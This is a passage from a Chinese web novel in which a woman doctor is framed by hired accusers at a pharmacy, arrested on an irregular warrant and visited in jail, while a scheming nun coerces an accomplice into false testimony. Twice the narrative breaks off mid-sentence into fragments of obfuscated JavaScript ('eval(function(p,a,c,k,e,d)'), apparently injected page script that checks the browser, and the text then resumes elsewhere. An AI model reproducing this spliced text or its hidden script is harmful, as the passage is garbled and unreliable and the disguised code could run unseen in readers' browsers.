苟文书拼命点头:“有!有!王大官人那里有账本,记着每一笔买卖。还有……还有和水仙姑来往的信件。他都留着......” 裴宴冷笑。果然,这些人彼此勾结,也彼此提防。 “账本在何处?” “在……在归平县王家大宅的书房里。”苟文书道,“有个暗格,在书架后面。小人亲眼见过大官人取放。” 裴宴转身,对长风道:“派人去归平县,盯住王兆贵。不要打草惊蛇,等京城那边的消息。” “是。”长风应下。 裴宴最后看了苟文书一眼:“把他带下去,好好看管。留着他,还有用。” 两个侍卫上前,将苟文书拖了出去。柴房里重归寂静,只剩裴宴一人站在昏黄的灯光下。 他低头看着自己修长的手指。这双手批过无数公文,握过剑,执过印。此刻却被愤怒驱使有些颤抖。 数百条人命。数百个被当成货物一样买卖的女子。她们被拐骗、被略卖、被送上不知去向的船只,从此再无音信。 而始作俑者,还在逍遥法外。 裴宴闭上眼,深吸一口气,将那股汹涌的情绪压下去。 愤怒无用。现在要做的,是收网。 他走出柴房,夜风扑面而来,带着深秋的寒意。行辕院中那棵老槐树的叶子已经落了大半,光秃秃的枝桠伸向夜空,像一只只挣扎的手。 “郎主,”长风跟上来,低声道,“那些女子就在城东宅子里的,要不要先救出来?” 裴宴摇头:“再等等。现在救出她们,无异于打草惊蛇。王兆仁那边还没动,崔琰那边也没惊动。一旦他们察觉,销毁证据,就前功尽弃了。” 长风急了:“可她们……” “我知道。”裴宴打断他,声音里带着一丝冷冽,“不能意气用事。” 裴宴拍了拍他的肩:“放心,她们会没事的。不是已经让人暗中照看,等时机一到,第一个救的就是她们。” 长风眼眶微红,重重抱拳:“小的明白。” 回到书房,裴宴重新坐在书案前。案上摊着秦海张超刚送来的密报——关于那个宋兄的调查。 宋大,宋国公府管事,宋国公堂兄之子,宋衙内的心腹。十年前曾在翠玉楼大火当晚出现,接走了玉娘。后因卷入一桩人命案,被宋国公打发回应天府老家。 应天府,离菰城不过数百里。 裴宴提笔,在舆图上应天府的位置画了一个圈。 快了。所有线索都在收拢,所有证据都在汇聚。等京城那边的消息一到,等找到那个宋大,就可以收网了。 72. 第72章 闹事 张记生药铺的门板刚卸下不久,许娇娇送走了今早第一位病人。是个咳嗽了半月的孩子,她开了三剂润肺止咳的方子,嘱咐那妇人隔日再来复诊。妇人连连道谢,抱着孩子出门时,正撞上一个匆匆跑来的汉子。 那汉子约莫三十出头,穿着一身半旧的靛蓝短褐,袖口挽着,露出两截精瘦的小臂。他急匆匆来,脸色略显虚浮,一进门眼睛就四处乱转,最后定在柜台后那一排排药柜上。 “张东家呢?”他大咧咧地往诊案前一站,嗓门亮得整个铺子都听得见,“叫你们东家出来!” 廖大夫正给一位老翁把脉,闻言抬起头:“这位老哥,东家出门了。你有什么事?若是瞧病,我和万大夫、许娘子都在。” “瞧病?”那汉子嗤笑一声,伸手在诊案上重重一拍,“我不瞧病,我讨公道!” 那一下拍得案上的笔墨都跳了起来,墨汁溅出几点,落在刚写好的方子上。老翁吓了一跳,颤巍巍地缩了缩身子。 廖大夫眉头一皱,站起身:“这位老哥,有话好说。什么公道?” “什么公道?”汉子瞪着眼,指着柜台后面,“我兄弟在你们这儿抓的药,吃了三日,今早上吐下泻,人都快不行了!你们张记卖假药,害人性命,还敢问我什么公道?” 此言一出,满堂皆惊。 几个抓药的伙计停下动作,候诊的病家纷纷侧目。许娇娇放下手中的笔,站起身,目光落在那汉子身上。 他说话时眼神飘忽,时不时往门外瞟一眼,像是在等什么人。那副架势,不像是死了亲人的悲愤,倒像是唱戏的等着锣鼓点儿。 “这位大哥,”许娇娇走上前,声音平静,“你兄弟抓的是什么药?可带着药方?可带着剩下的药材?” 那汉子这才正眼看向她,上下打量一番,嘴角一撇,露出一个不怀好意的笑:“哟,这就是那个女郎中吧?听说你医术了得,疫病期间救了不少人?怎么,救人的时候手到病除,卖假药的时候也不含糊?” 他的话粗鄙无礼,带着明显的挑衅意味。许娇娇蹙眉,这是来找茬了? 廖大夫沉下脸:“这位老哥,说话要有凭据。你说我们卖假药,药方呢?药材呢?” “药方?”汉子往地上啐了一口,“我兄弟都快死了,谁还顾得上带那劳什子?药材?早熬了喝了,上哪儿找去?” “那就说不通了。”万大夫从诊案后走出来,他脾气暴躁,见这汉子胡搅蛮缠,忍不住呛声,“无凭无据就来闹事,我看你是成心找茬!” “我找茬?”那汉子像是被踩了尾巴的猫,一下子跳起来,“你们卖假药吃死了人,还敢说我找茬?我兄弟一条命,就值你们一句找茬?” 他越说越大声,引得过路的人纷纷驻足。不多时,张记门口便围了一圈看热闹的人,探头探脑往里张望。 那汉子见人多了,愈发来劲,指着许娇娇的鼻子骂道:“你个臭娘们,仗着有几分姿色,在男人堆里混饭吃,还真把自己当个人物了?我告诉你,今天这事儿没完!你们张记,还有你这个招摇撞骗的女郎中,都得给我兄弟偿命!” 这话恶毒至极,连围观的人都听不下去了,有人低声道:“这话说得太难听了……” 许娇娇心中了然。果然,这些日子的风平浪静,就应在今日。 她抬眼看着那个汉子,没有接话。她在等,等这出戏的下一幕。 果然,人群外忽然传来一阵哭嚎声。 “让开!都让开!让我进去!” 一个妇人披头散发地挤进人群,身后还跟着两个同样哭哭啼啼的婆子。那妇人约莫四十来岁,穿着一身粗布衣裙,脸上涕泪横流,一进门就往地上一坐,拍着大腿嚎啕大哭。 “天杀的张记啊!黑了心肝的药铺啊!害死了我弟媳妇,一尸两命啊!” 那先来的汉子见这妇人进来,眼中闪过一丝喜色,随即又敛去,换上一副同仇敌忾的模样:“这位大嫂,你们家也是被张记害的?” 那妇人哭得更大声了:“我那弟媳妇,年纪轻轻,肚子里还揣着个娃,就那么活活疼死了啊!都是这个姓许的妖妇,见死不救,还指了条野路害得我兄弟困了一夜,误了时辰!天爷呀,你开开眼,劈死这蛇蝎心肠的毒妇吧!” 她一边哭一边往许娇娇这边爬,伸手就要去抓许娇娇的裙角。许娇娇退后一步,避开了她的手。 “这位大嫂,”她蹙眉看着妇人,“你说小女见死不救,害了两条人命,说的是赵大家的事吧?” 那妇人一愣,随即哭得更凶:“你承认了?你承认你见死不救了?” “小女承认的,是知道这件事。”许娇娇看着她,“但见死不救的,不是小女。” “放你娘的屁!”那妇人腾地站起来,指着许娇娇的鼻子骂,“我兄弟亲口说的,那夜大雨,他冒雨去寻你,在后山见到个年轻姑娘,戴着斗笠,披着蓑衣,虽看不清全脸,但她自称娇杏!那女子说的话,我兄弟学得一字不差。说什么:“这等污秽之事,也配来寻我?我平日行医济世,那是积德行善。妇人产育,血光冲天,最是晦气。我清清白白一个未出阁的女子,沾了这晦气,往后还怎么说亲?你且回去吧,生死有命。”。 “这不是你说的?还能是鬼说的?” 这话一出,围观的人群顿时议论纷纷。 “这话说得也太毒了……” “真是她说的?不像啊,我看着这女郎中挺和气的……” “知人知面不知心,谁知道呢……” 许娇娇听着那些议论,心中一片清明。那个枉死的赵大媳妇和她肚子里的孩子,她夜深人静时有时也会想起来,心里仍会隐隐作痛。那夜她要是能听到赵大的请求就好了。可眼前这妇人,分明是被人指使,将静非那老尼姑造的孽,尽数扣在她头上。 “这位大嫂,”许娇娇看着那妇人,声音微沉,“你怎能出口伤人。我是听青坑村的桂花说,你兄弟赵大那夜确实来求医。但他并没有找到我所住的茅屋,他在半路上遇到的那个人不是我,而是水月庵的尼姑静非师太。她冒充我,欺骗了赵大。那夜,我并没有听到有人敲门。” “冒充?”那妇人冷笑,“你当我们是傻子?谁没事冒充你?分明就是你见死不救,如今还想抵赖!” 她话音未落,人群中又挤出几个人来。 “对,就是她!”一个穿着粗布衣裳的中年汉子指着许娇娇,“我是落溪村的,我亲眼见过她!她爹许大郎在村里的时候,她还不会说话。后来许大郎夫妻被她克死了,她被赶出村子,就去水月庵做了尼姑。这女人,从小就心术不正!” 又一个婆子接口道:“可不是嘛!我听水月庵的水仙姑说,她在庵里就不安分,整天往外跑,也不知勾搭些什么人。后来还俗了,来菰城坐诊,也不知是怎么攀上的关系。” 一个年轻后生也跟着起哄:“我听说她在疫病期间出了大风头,连钦差都夸过她。一个女流之辈,没点手段,能混到这个地步?” 你一言我一语,句句都是诛心之言。 许娇娇站在铺子中央,背脊挺得笔直。她看着这些突然冒出来的“证人”,心里渐渐明朗。这不是赵大媳妇难产那件事被翻出来,而是一场有预谋的围剿。先头那汉子是来闹事的,后头这妇人是来坐实的,再后面这些乡亲、香客,是来推波助澜的。 一环扣一环,配合得天衣无缝。 而背后操控这一切的,除了王大官人和水仙姑,还能有谁? 廖大夫气得浑身发抖,护在许娇娇身前,对那些人吼道:“你们、你们血口喷人!许娘子行医以来,救了多少人,你们去问问那些病家!疫病期间她没日没夜地救人,你们那时怎么不来骂她?” 万大夫也站了出来,指着那几个闹事的:“你们说张记卖假药,证据呢?你们说许娘子见死不救,证据呢?空口白牙就想毁人清誉,还有王法吗?” “王法?”那先头的汉子怪笑一声,“王法就是你们这些黑心烂肠的东西,早晚得下地狱!” 他越说越起劲,索性走到许娇娇面前,指着她的鼻子,唾沫星子都溅到她脸上:“你个小贱人,别以为攀上高枝就抖起来了!我告诉你,你那点破事,早晚得抖搂干净!到时候,别说行医,你连这菰城都待不下去!” 这话说得露骨至极,已经不只是闹事,简直是威胁了。 许娇娇抬起眼,静静看着他。那目光不怒不惧,清凌凌的,像深冬的寒潭,看得那汉子心里莫名一颤。 “你看什么看?”他梗着脖子,“还想打人不成?” 许娇娇没有理他。她的目光越过那汉子的肩膀,落在人群外。 那里,几个穿着皂衣的人正拨开人群,大步走来。 为首的是个四十来岁的汉子,生得膀大腰圆,一脸横肉,腰间挎着刀。他身后还跟着五六个差役,个个神情倨傲,目光在铺子里扫了一圈,最后定在许娇娇身上。 “哟,这是怎么了?张记怎么这么热闹?”为首的押差皮笑肉不笑地开口。 那先头闹事的汉子见官差来了,眼中闪过一丝喜色,与那妇人对视一眼,两人都悄悄往后退了半步,隐入人群中。 押差走到许娇娇面前,上下打量她一番,从怀中掏出一张纸,抖开: “你就是那个姓许的女医?归平县衙有令——有人告你谋害人命,致赵门王氏母子双亡,一尸两命!跟我们去衙门走一趟吧!” 谋害人命! 一尸两命! 这四个字像一颗石子投入静水,激起轩然大波。围观的百姓轰的一声议论开了,张记的伙计和病人都变了脸色。 许娇娇却没有动。她目光落在那张纸上,没有伸手去接,只静静看着那押差。 “敢问这位差爷,”她的声音平稳,不急不躁,“这是哪处衙门签发的文书?” 那押差一愣,随即瞪眼:“文书上写得明白,归平县衙!怎么,不识字?” “字是识的。”许娇娇点头,“但小女有一事不明。此处是菰城,不是归平县。差爷从归平县来,要拿小女去归平县过堂,可曾知会过菰城府衙?可有当地官府的协捕公文?” 这话一出,那押差脸色微微一变。 他身后几个差役 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“两位大夫,小女连累张记了。铺子里的事,拜托你们。那些等着复诊的病家,劳烦二位多费心。还有——”她顿了顿,声音微低,“劳烦二位告知张东家,小女此去归平,是有人告小女谋害赵门王氏。告状的是谁,小女不知。但小女信得过朝廷的法度,也信得过明镜高悬。” 廖大夫眼眶都红了,连连点头:“你放心,你放心!我们这就去想办法,去找张东家,去找——” “廖大夫。”许娇娇打断他,轻轻摇了摇头。 廖大夫怔住,顺着她的目光往门外看了一眼——那些闹事的人还挤在人群里,目光灼灼地盯着这边。那几个婆子正交头接耳,那先头的汉子正和一个差役眉来眼去。 说什么,都不该当着这些人的面说。 廖大夫咬牙咽下后面的话,只用力点了点头。 那押差已经不耐烦了,一挥手:“带走!” 两个差役上前,一条铁链就要往许娇娇脖子上套。许娇娇退后一步,看着那押差:“差爷,小女一介女流,手无缚鸡之力,又认了跟你们走,这铁链,可否免了?” 那押差看了她一眼,大约是见她确实不像是会逃跑的样子,又当着这么多人的面,便摆了摆手:“罢了罢了,链子免了,老实跟着走!” 许娇娇点了点头,最后看了一眼张记的招牌,随差役走出门去。 围观的百姓自动让开一条路。那先头的汉子站在人群里,脸上的笑都快藏不住了。那妇人也收了泪,和几个婆子挤在一起,低声说着什么。 许娇娇从他们身边走过时,脚步顿了顿。 她看着那汉子,忽然笑了笑。那笑容很淡,却让那汉子心里莫名一寒。 “你、你笑什么?” 许娇娇没有回答,只收回目光,继续往前走。 秋风卷起满街落叶,打着旋儿从她身边掠过。她抬头看了看天——灰蒙蒙的,压得很低,像是又要落雨的样子。 张记门口,廖大夫扶着门框,看着那群人渐渐走远,忽然对身边的万大夫低声道:“你快去,从后门走,去寻张东家。告诉他,归平县来人,没有菰城的公文,不合规矩。还有——” 他压低了声音:“去打听打听,归平县那边,到底是谁告的状。能这么快让县尊签发追牒,背后的人,怕是不简单。” 万大夫点点头,转身往后院去了。 人群渐渐散去。那几个闹事的人凑在一起,低声说了几句什么,也各自散了。那先头的汉子走出一段路,回头看了一眼张记的招牌,啐了一口,咧嘴笑了。 “成了。”他对自己说。 人群边缘的阴影里,一个戴着帷帽的女子静静站着。她看着许娇娇被差役带走的方向,帷帽下唇角微微上扬,露出一抹笑意。 那笑意,像吐着信子的蛇。 许娇娇已经走出很远了。她没有回头,但她知道,那个人一定在看着。 水仙姑。 她收回目光,随差役往县衙的方向走去。 73. 第73章 旧怨新谋 暮色四合,山里的天气黑的比别处要早些。 水仙姑站在水月庵后院的阁楼上,望着天边最后一抹余晖被夜色吞没。从窗外远望,正对着窗口的那棵老歪脖子枣树光秃秃的枝桠伸向灰蒙蒙的天空,像一只只干枯的手。树下埋着了尘师父的尸骨,已经整整八年了。 她收回目光,转身回到屋里,在妆台前坐下。 铜镜里映出一张年过三旬的脸,脂粉掩不住眼角细纹,那双眸子在烛光下闪着幽冷的光。她伸手从妆匣底层取出那支海棠金簪,指尖缓缓抚过冰凉的金丝花瓣。 这是当年那夜,从戴明书身上取下的。她原本以为这是他要送给她的,后来才想明白。那畜生身上带着这种东西,不过是要在折磨完人后,随手丢给那些可怜女子,当作赏赐罢了。 可笑她当年还为此沾沾自喜。 水仙姑冷笑一声,将金簪插回发间。镜中那张脸在烛光里明明灭灭,像是十年前翠玉楼那场大火中逃出的鬼魅。 那场大火。 她闭上眼,那夜的画面又浮现在眼前。冲天的火光,凄厉的惨叫,浓烟中挣扎的人影,还有那个站在后巷阴影里,手执火把的纤细身影。 罗玉娘。 那个在她身边伏低做小了两年、她从未正眼看过的粗使丫鬟。平日里怯生生的,说话都不敢大声,挨了骂只会低着头小声啜泣,她水娘在翠玉楼春风得意时,哪里会将这样的小丫头放在眼里? 可就是这样一个她瞧不上的人,放了一把火,烧死了二十三个人。 水仙姑睁开眼,眼中闪过恨意。 那夜她仓皇逃出,一路南下,九死一生才活到现在。身上留了疤,心里落了病,这些年午夜梦回,常常被那场大火惊醒。她恨戴明书,恨老鸨,恨那些把她推进火坑的人,可她最恨的,是罗玉娘。 若不是那场火,她或许还能在翠玉楼再熬几年,攒够了钱赎身,寻个老实人嫁了,过寻常日子。可那场火把一切都烧没了,她成了逃犯,成了死人,只能顶着别人的身份苟活于世。 她以为罗玉娘也死在了那场火里,或者被官府抓了砍头。毕竟放火烧死了那么多人,尤其是忠勤伯府的嫡长子,朝廷岂会善罢甘休? 可命运这东西,真是会开玩笑。 当她无意中看到了成为崔娘子的罗玉娘时,整个人如遭雷击。 是她。虽然年长了十岁,穿着打扮已是良家妇人模样,可那双眼睛,那张脸,分明就是罗玉娘。 她没死。她不但活得好好的,还嫁了人,做了官家妇。她暗中让王大官人帮着打听,才知道,这贱人不但攀上了高枝,摇身一变,竟成了体面的娘子。 水仙姑当时就笑了,笑得眼泪都流出来。 好啊,真是老天开眼。当年那个放火的贱人,如今倒装起良家妇女来了。还嫁了人?真是讽刺。更讽刺的是,她就住在许娇杏隔壁,和那几个小贱人做了邻居。 水仙姑当即让人传信,约罗玉娘出来见面。 那日在城西观音桥巷口,当罗玉娘看到她时,那张保养得宜的脸上瞬间血色尽褪,眼中的惊恐与难以置信,让她心里涌起一股扭曲的快意。 “玉娘,别来无恙啊!”她当时是这么开场的,声音温柔得像毒蛇吐信。 罗玉娘浑身发抖,几乎站立不稳:“你……你没死……” “托你的福,侥幸捡回一条命。”水仙姑逼近一步,压低声音,“倒是你,胆子不小。放了那么大一场火,烧死了忠勤伯府的公子,居然还能全身而退,跑到江南来嫁人生子。真是好手段。” “我……我不知道你在说什么……”罗玉娘眼神躲闪,声音发颤。 “不知道?”水仙姑轻笑,“需要我提醒你吗?十年前,翠玉楼大火,你拿着火把站在后巷的样子,我可记得清清楚楚。要不要我现在就去衙门,找官爷们聊聊?” 罗玉娘脸色煞白,嘴唇哆嗦着,却说不出话。 水仙姑满意地看着她的反应。她太了解这种人了。外表怯懦,内心却藏着最深的恐惧。一旦恐惧被戳破,就会像抽了筋的蛇,再也动弹不得。 她从袖中取出一个小布包,塞进罗玉娘手里:“这里有几两碎银,还有张字条。字条上写得很清楚,我要你帮我做一件事。事成之后,你我两清,从前的事我烂在肚子里,你继续做你的崔娘子。” “什么事……”罗玉娘声音微弱。 “你隔壁住着的那个许娇杏,还有她那两个师姐,我要她们死。”水仙姑一字一句道,“像当年那样,放一把火,烧得干干净净。” 罗玉娘猛地抬头,眼中满是惊恐:“不……不行……我不能再……” “不能再什么?”水仙姑打断她,声音冷得像冰,“不能再放火?当年你放火烧死二十三个人的时候,怎么没想过不行?怎么,如今做了官家妇,就想把那些事一笔勾销?” 她凑近罗玉娘耳边,声音轻得像耳语,却字字诛心:“我告诉你,玉娘,你手上沾的血,这辈子都洗不干净。你是杀人犯,是逃犯,是忠勤伯府悬赏缉拿的要犯。只要我一句话,你现在的丈夫、你的女儿、你这些年苦心经营的一切,都会化为乌有。” 罗玉娘彻底瘫软,若不是靠着墙,几乎要栽倒在地。 水仙姑看着她绝望的神情,心中那口憋了十年的恶气,终于出了大半。 “我给你一个月的时间。”她退后一步,恢复了那种云淡风轻的语气,“一个月之内,我要看到柳枝巷那小院化为灰烬,里面的人一个不留。到时候,你我两清,从前的账一笔勾销。否则……” 她没有说完,但意思已经足够明白。 罗玉娘没有回答,只是浑身颤抖着,像风中的落叶。 水仙姑转身离去,走出几步,又回头看了一眼。罗玉娘还站在那里,低着头,看不清表情。巷口的夕阳将她的影子拉得长长的,投在地上,像一道黑色的裂痕。 水仙姑唇角勾起一抹冷笑。 她当然不会真的放过罗玉娘。这种知道她太多秘密的人,留着迟早是祸患。等许娇杏的事解决,她自然会想办法,让这位崔娘子“意外消失”。 就像当年了尘师父那样。 可日子一天天过去,柳枝巷那边毫无动静。 水仙姑派去盯梢的人回报,说崔娘子每日照常出入,买菜、洗衣、做针线,和寻常妇人别无二致。那小院里的人也安然无恙,许娇杏照旧去张记坐诊,静尘静心照旧在院里晾晒药材,甚至连那只黑狗都活蹦乱跳的。 水仙姑等得心焦,又让人传信催促。罗玉娘回话说,许娇杏身边有人暗中保护,不好下手,要再等时机。 等,等,等到什么时候? 水仙姑知道这是在拖延。罗玉娘怕了,她不敢再放火,不敢再杀人。可越是这样,她就越不能放过她。一个人既然迈出了那一步,就别想再回头。 她正打算亲自再去见罗玉娘一次,给她下最后通牒,没想到,来了个意想不到的人。 那日傍晚,庵里的小尼姑来报,说门外有个尼姑求见,自称是故人。 水仙姑起初没在意,只当是哪个云游尼姑来挂单。 可那小尼姑又说:“那师父说,她叫静非,和主持是旧相识。” 静非? 水仙姑手里的茶盏差点掉落。 那个贱人,竟然还敢回来? 她压下心头的怒火,冷冷道:“让她进来。” 不多时,静非被带了进来。 一年多不见,静非瘦了很多,也憔悴了很多。原本还算白净的脸上添了风霜之色,眼角皱纹深了,嘴角也耷拉下来,整个人像是老了十岁。身上那件灰扑扑的僧袍洗得发白,袖口磨破了,用粗针大线胡乱缝着,针脚歪歪扭扭,一看就不是她自己缝的。 那双眼睛,还是和从前一样,骨碌碌转着,一进门就四处乱瞄,最后落在水仙姑身上,挤出满脸的笑。 “水仙姑,可算是见着你了!”静非扑过来就要行礼,被水仙姑抬手止住。 “慢着。”水仙姑坐在椅上没动,冷冷打量着她,“你还敢回来?” 静非脸上的笑僵了僵,随即又堆起来:“瞧你说的,我这不是……这不是想着回来给你请安嘛。那日衙门来人,我吓坏了,稀里糊涂就跑出去了。后来听说你没事,我就想回来,可……” “可什么?” 静非眼神闪烁,支支吾吾道:“可路上遇到些事,耽搁了。这不是一脱身就赶紧回来了嘛。” 水仙姑冷笑。她太了解静非了,这贱人嘴里没一句实话。什么“耽搁了”,分明是趁机跑了,还顺走了她的首饰银两。她出狱后清点东西,发现少了几件值钱的,用脚趾头想也知道是谁干的。 “脱身?”她慢悠悠地问,“从哪儿脱身?那个姓周的泼皮身上?” 静非脸色变了变,随即又挤出笑:“你……你都知道了?” “知道什么?”水仙姑端起茶盏,轻轻撇着浮沫,“知道你跟那个泼皮勾搭成奸,被他骗光了钱财,然后被他一脚踹开?还是知道你在宣州县混不下去了,才想起回来投奔我?” 静非脸上的笑彻底僵住了。她张了张嘴,想辩解,却说不出话来。 水仙姑放下茶盏,站起身,走到她面前。 静非比她矮半个头,此刻被她盯着,不由自主地往后退了一步。 “静非啊静非,”水仙姑的声音不高,却带着让人胆寒的冷意,“你跟了我这些年,我待你不薄吧?吃穿用度,哪样短了你的?可你呢?见我出事,二话不说就跑,还顺手牵羊拿走我的东西。如今混不下去了,又跑回来,想让我收留你?” 静非的腿开始打颤。她知道水仙姑的手段,那些年在庵里,凡是得罪她的人,没有一个有好下场。有的病故了,有的云游去了再没回来,还有的莫名其妙就消失了。 “我……我……”她结结巴巴地说,“我也是没办法……那个周扒皮,他骗我,说我跟他走,他会对我好。我一时糊涂……” “一时糊涂?”水仙姑冷笑,“你倒会为自己开脱。” 她转身走回椅边,重新坐下,端起茶盏抿了一口,眼神睥睨的凝视着静非。 静非浑身胆寒,她忙涎笑着表忠心,“仙姑我的好师父,您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“牵连?”水仙姑嗤笑一声,“你以为你能置身事外?” 静非脸色白了白。 水仙姑站起身,走到窗前,望着外面漆黑的夜色。月光透过云层洒下来,在地上投下斑驳的树影,像无数扭曲的手。 “静非,”她背对着静非,声音听不出情绪,“你假扮许娇杏的事,除了你我,还有谁知道?” “没……没有了。”静非忙道,“那夜大雨,赵大没看清我的脸,只看见我穿着灰布僧袍。后来我很快就跑了,没人知道是我。” 水仙姑转过身,看着她:“那如果赵大出来作证呢?” 静非一愣:“赵大?他……他怎么会……” “如果有人说动他,让他指认那夜骗他的人是许娇杏呢?”水仙姑盯着她的眼睛,“你觉得他会不会认?” 静非张了张嘴,说不出话。 水仙姑走回她面前,伸手抬起她的下巴,逼她看着自己:“静非,你跟着我这些年,应该知道我的脾气。我最恨的,就是吃里扒外、背信弃义的人。你跑也就跑了,偷我东西也就偷了,我都可以不计较。但你得给我一个不计较的理由。” 静非浑身发抖,嘴唇哆嗦着,却一个字都说不出来。 水仙姑松开手,退后一步,声音放柔和了些:“你假扮许娇杏的事,如今是个把柄,也是个机会。你想留下,可以。但得帮我做件事。” “什……什么事?”静非小心翼翼地问。 “去衙门,作证。”水仙姑看着她,眼中闪着幽冷的光,“证明那夜骗赵大的人,就是许娇杏。” 静非脸色大变:“可……可那夜明明是我……” “是你又怎样?”水仙姑打断她,“你不说,我不说,谁知道是你?赵大只知道那夜见到个穿灰布僧袍的年轻女子,自称娇杏。至于那女子是谁,他怎么分辨得出?” 静非嘴唇动了动,还想说什么。 水仙姑又道:“你放心,不会让你白做的。事成之后,我帮你换个地方,重新开始。银子、身份,我都给你安排妥当。你拿着钱,远走高飞,从此天高皇帝远,再也不用看人脸色过日子。” 静非眼中闪过挣扎。她当然知道这是冒险,万一露了馅,她不但脱不了身,还可能被牵连进去。可她也知道,如果不答应,水仙姑绝不会放过她。 那些年在庵里,她见过太多得罪水仙姑的人的下场。 “我……”她终于开口,声音沙哑,“我答应你。” 水仙姑脸上露出满意的笑容。她伸手拍了拍静非的肩,那动作看着温和,却让静非浑身一颤。 “这就对了。”水仙姑道,“你放心,我不会亏待你的。事成之后,你就是我的大功臣。” 静非挤出一个比哭还难看的笑。 水仙姑转身,走到门口,唤来一个小尼姑:“带静非师父去厢房歇息,好生伺候着。” 小尼姑应声,引着静非往外走。 静非走到门口,忽然回头,看着水仙姑:“你……你真的会放过我吗?” 水仙姑站在烛光里,脸上的表情看不真切。她微微一笑,那笑容在摇曳的光影里,显得格外诡异。 “当然。”她说,“你我毕竟主仆一场,我怎么会害你呢?” 静非看着她,心里涌起一阵寒意。她知道这话不能信,可她别无选择。 她低下头,跟着小尼姑走了出去。 门在身后关上,隔绝了外面的月光。 74. 第74章 裴宴探监 夜色如墨,更深露重。 长风一路狂奔着冲进行辕后院的。他顾不上擦额头的汗,也顾不上喘匀气息,直接扑到书房门前,抬手叩门。 “郎主!出事了!” 门几乎是立刻被打开的。裴宴站在门内,身上还穿着白日那身玄色直裰,显然尚未就寝。他目光落在长风脸上,瞳孔微微一缩。 “说。” 长风咽了口唾沫,声音发紧:“许娘子……被归平县的人带走了。” 裴宴的眉峰几不可察地动了一下。他没有说话,只盯着长风,等他继续。 “今日下午,张记生药铺来了几个人闹事。”长风语速极快,将事情经过简要禀报,“先是有人诬告张记卖假药害人,后又有人翻出青坑村赵大媳妇难产之事,说是许娘子见死不救,致一尸两命。落溪村和水月庵也来了人,当众指认许娘子心术不正。紧接着,归平县的差役就到了,手持归平县衙的追牒,要拿许娘子去归平过堂。” “追牒?”裴宴的声音冷了下来,“跨县拿人,可有菰城府衙的协捕公文?” “没有。”长风摇头,“小的让人打听了,菰城府衙根本不知此事。那归平县的押差拿的,就是归平县尊亲笔签发的文书。许娘子当场指出不合规矩,但那押差根本不理会,硬是把人带走了。” 裴宴的指尖在袖中微微收紧。他面上依旧平静,眸光却已沉了下去。 “人现在何处?” “已被押往归平县大牢。”长风道,“小的已派人暗中跟着,确保许娘子路上安全。归平县那边,咱们的人也在盯着,若有异常,会立即来报。” 裴宴沉默片刻,转身走回书案前。案上摊着几份刚送来的密报。秦海和张超在京城查到的线索,关于那个“宋兄”的身份,已有了眉目。应天府的暗探也传回消息,找到了宋大的下落,正在进一步核实。 收网在即。这个时候,任何变故都可能打乱全盘计划。 可那一袭藕荷色衣裙的身影,那个在月光下笑着说“想有一间自己的药铺”的女子,此刻正被关在归平县阴冷的大牢里。 “备马。”裴宴忽然开口。 长风一愣:“郎主,现在?已经亥时三刻了……” “备马。”裴宴重复了一遍,声音不高,却带着不容置疑的威压。 长风不敢再问,躬身退出,快步去安排。 裴宴立在书案前,目光落在那张舆图上。归平县,就在菰城以北六十里处。快马加鞭,一个时辰可到。 他伸手拿起案上的钦差令牌,收入怀中。 一刻钟后,两骑快马从行辕后门疾驰而出,消失在浓重的夜色中。 归平县大牢在县城西北角,是一处年久失修的破旧院落。高墙深院,墙头布满铁蒺藜,两扇黑漆大门紧闭,门上的铜环在月光下泛着幽冷的光。 裴宴在牢门外勒住马。长风上前叩门,好半天才有一个睡眼惺忪的老牢子来开门。那老牢子见来人气度不凡,身后还跟着个腰悬佩刀的随从,顿时清醒了几分。 “两、两位是……” 长风从怀中取出钦差令牌,在他眼前一晃。老牢子看清那令牌上的字样,腿都软了,扑通一声跪倒在地。 “小、小人不知天使驾到,有失远迎……” “起来。”裴宴的声音从头顶传来,不高,却带着让人不敢直视的威严,“今夜可有一个女医被押来此地?” 老牢子忙不迭点头:“有、有!酉时刚过,县衙的差爷送来的。说是……说是谋害人命的要犯。” “带路。” 老牢子爬起来,躬着腰在前引路。穿过两道门,沿着昏暗潮湿的甬道往里走,一股混杂着霉味、尿骚味和血腥气的恶臭扑面而来。甬道两侧是一间间狭小的牢房,里面隐约可见蜷缩的人影,听见脚步声,有人发出虚弱的呻吟,有人低声咒骂。 裴宴的眉头微微蹙起,脚步却未停。 老牢子在一间牢房前停下,掏出钥匙打开门锁,陪着笑道:“天使,就、就是这间。小的在外头候着,天使有事尽管吩咐。” 裴宴没有理会他,只抬手推开了那扇斑驳的木门。 牢房不大,约莫一丈见方。墙角堆着发霉的稻草,一股霉烂的气息直冲鼻腔。唯一的亮光是从高处一扇巴掌大的小窗透进来的月光,在地上投下惨白的一块。 许娇娇就坐在那方月光里。 她背靠着墙,双腿蜷起,双手环抱着膝盖,姿态防备却不见瑟缩。听见门响,她抬起头,目光落在门口那道颀长的身影上。 四目相对。 月光从她身后的小窗斜斜照进来,在她脸上镀上一层淡淡的银辉。她的发丝有些散乱,衣裙上沾了灰,可那双眼睛依旧清澈,像深潭映着星子,没有恐惧,没有慌乱,只有一种沉静的、近乎坦然的平静。 她似乎并不意外他会来。 裴宴站在门口,就着那点微光仔细打量她——除了脸色略显苍白,没有受伤的痕迹。他心头那根一直绷紧的弦,悄悄松了半分。 “裴安抚。”许娇娇开口,声音有些沙哑,却还算平稳,“您怎么来了?” 裴宴没有回答。他跨进牢房,在她面前蹲下,目光与她平视。 “可受伤了?” 许娇娇微微一怔,随即摇头:“没有。他们只是把我关起来,没有动刑。” 裴宴点了点头,站起身,四下看了一圈。这间牢房虽然简陋,但比起外面那些拥挤的号子,算是干净的。大约是单独关押的缘故。墙角放着一只破旧的陶碗,里面盛着半碗浑浊的水,碗沿豁了口,积着厚厚的污垢。 他的眸光暗了暗。 “安抚使,”许娇娇的声音从身后传来,“您不该来的。” 裴宴转过身,看着她。 